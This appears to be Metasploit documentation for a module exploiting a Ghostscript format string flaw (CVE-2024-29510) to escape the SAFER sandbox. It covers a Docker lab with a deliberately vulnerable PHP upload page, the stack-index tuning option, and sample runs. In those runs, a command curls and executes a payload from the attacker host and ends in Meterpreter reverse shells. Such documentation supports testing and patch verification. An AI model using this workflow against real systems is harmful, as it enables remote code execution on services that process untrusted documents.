## Vulnerable Application

This module exploits a format string vulnerability in Ghostscript versions before 10.03.1 to achieve a SAFER sandbox bypass and execute arbitrary commands. This vulnerability is reachable via libraries such as ImageMagick, which is often used by web applications and other services to preview or convert documents.

This module will generate a Encapsulated PostScript (EPS) file that embeds the selected payload. This file can be consumed by any service using a vulnerable version of Ghostscript under the hood.

### Installation
#### With standalone Ghostscript
Download the source files from https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/ and build Ghostscript:
```
wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10030/ghostscript-10.03.0.tar.gz
tar xzvf ghostscript-10.03.0.tar.gz
cd ghostscript-10.03.0
./configure
make
```
Then, use the `bin/gs` directly.

#### With ImageMagick
Follow the steps to build Ghostscript but run an additional `make install` to make sure the binaries are copied at the right location in the system.
Download ImageMagick source files from https://github.com/ImageMagick/ImageMagick/archive/ and build it:
```shell
./configure --prefix=/usr --with-gslib --disable-dependency-tracking
make
make install
ldconfig /usr/lib
```
Then, use `identify` or `convert` directly.

#### With a PHP application using ImageMagick on Docker
Create the following `Dockerfile` (mostly taken from the vulhub projects [1](https://github.com/vulhub/vulhub/blob/1d932c52b9eb257de8c8a20ba7696a598157ef8f/base/imagemagick/7.1.1-17/Dockerfile) and [2](https://github.com/vulhub/vulhub/blob/master/ghostscript/CVE-2019-6116)):
```dockerfile
FROM debian:bullseye

RUN set -ex \
    && apt-get update \
    && apt-get install -y --no-install-recommends build-essential automake autoconf libtool libltdl-dev wget ca-certificates libpng-dev libjpeg62-turbo-dev \
        libfontconfig1-dev libfreetype6-dev librsvg2-dev libxml2-dev zlib1g-dev libgif-dev php-cli curl \
	&& apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \
	&& rm -rf /var/lib/apt/lists/*

ARG GS_URL=https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10030/ghostscript-10.03.0.tar.gz
RUN set -ex \
    && wget -qO- ${GS_URL} | tar xz --strip-components=1 -C /usr/src \
    && cd /usr/src \
    && ./configure \
    && make \
    && make install \
    && rm -rf /usr/src/*

ARG IM_VERSION=7.1.1-34
RUN set -ex \
    && wget -qO- https://github.com/ImageMagick/ImageMagick/archive/${IM_VERSION}.tar.gz \
        | tar xz --strip-components=1 -C /usr/src \
    && cd /usr/src \
    && ./configure --prefix=/usr --with-gslib --disable-dependency-tracking \
    && make \
    && make install \
    && ldconfig /usr/lib \
    && rm -rf /usr/src/*

RUN mkdir -p /var/www/html \
    && echo "<?php \n \
  if (!empty(\$_FILES)): \n \
  \$ext = pathinfo(\$_FILES['file_upload']['name'], PATHINFO_EXTENSION); \n \
  \$size = shell_exec(\"identify -format '%w x %h' eps:{\$_FILES['file_upload']['tmp_name']}\"); \n \
  echo \"Image size is: \$size\"; \n \
  else: \n \
  ?> \n \
  <form method=\"post\" enctype=\"multipart/form-data\"> \n \
      File: <input type=\"file\" name=\"file_upload\"> \n \
      <input type=\"submit\"> \n \
  </form> \n \
  <?php \n \
  endif;" > /var/www/html/index.php

CMD ["php", "-t","/var/www/html", "-S", "0.0.0.0:8080"]
```

Build the docker image:
```shell
build -t php_magick_gs:10.03.0 .
```

Run it:
```shell
docker run --rm -p8888:8080 php_magick_gs:10.03.0
```
Access the example web page at http://127.0.0.1:8888 and upload the generated `.eps` file.

## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use multi/fileformat/ghostscript_format_string_cve_2024_29510`
1. Do: `exploit lhost=<local host address>`
1. Start a handler for the seclected payload
1. Have the generated Postscript processed by a vulnerable version of Ghostscript
1. You should get a shell.

## Options

### FILENAME
The name of the Encapsulated PostScript (EPS) file that will be generated by this module. Default is `msf.eps`.

### INDEX_OUT_PTR
This module will exploit a format string vulnerability to update the boolean field (`path_control_active`) in memory and disable the `-dSAFER` security sandbox to enable code execution. This field is stored in a specific data structure which can be accessed from a pointer received by the function calling the vulnerable `gs_snprintf()` function. The exploit will dereference this pointer multiple times to reach this field.
This option specify the index of this pointer (`gp_file *out`) on the stack. The default is `5`, which seems to work most of the time. Note that when Ghostscript is installed on a Docker instance, this index seems to be `6`. That being said, if the exploit doesn't work, try with different index value (usually `4`, `5` or `6`).


## Scenarios

### Ghostscript version 10.03.0
Generate the `.eps` files:
```
msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113

[*] Command to run on remote host: curl -so ./kmMJykHyqUiQ http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./kmMJykHyqUiQ; ./kmMJykHyqUiQ &
[+] msf.eps stored at /home/n00tmeg/.msf4/local/msf.eps
[+] You will need to start a handler for the selected payload first.
[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf.eps
[+] Example usage with ImageMagick: identify msf.eps
```

Start a hander:
```
msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp
msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113
lhost => 192.168.1.113
msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler 
[*] Payload Handler Started as Job 0
```

Execute Ghostscript directly:
```shell
./gs -q -dSAFER -dBATCH -dNODISPLAY ~/.msf4/local/msf.eps
```

Get a Meterpreter session:
```
msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 6 opened (192.168.1.113:4444 -> 192.168.1.113:56786) at 2024-07-16 11:00:59 +0200

msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1
[*] Starting interaction with 6...

meterpreter > getuid
Server username: n00tmeg
meterpreter > sysinfo
Computer     : 192.168.1.113
OS           : Arch rolling (Linux 6.9.7-arch1-1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

### ImageMagick version 7.1.1-34 on Docker
```
msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 index_out_ptr=6 filename=msf.eps

[*] Command to run on remote host: curl -so ./GzRgKQokL http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./GzRgKQokL; ./GzRgKQokL &
[+] msf.eps stored at /home/n00tmeg/.msf4/local/msf.eps
[+] You will need to start a handler for the selected payload first.
[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf.eps
[+] Example usage with ImageMagick: identify msf.eps
```

Start a hander:
```
msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp
msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113
lhost => 192.168.1.113
msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
```

Follow the `PHP application using ImageMagick on Docker` installation steps and upload the generated `.eps` file from http://127.0.0.1:8888.

Get a Meterpreter session:
```
msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 3 opened (192.168.1.113:4444 -> 172.17.0.3:45102) at 2024-07-16 14:46:55 +0200

msf exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1
[*] Starting interaction with 3...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.17.0.3
OS           : Debian 11.10 (Linux 6.9.7-arch1-1)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```

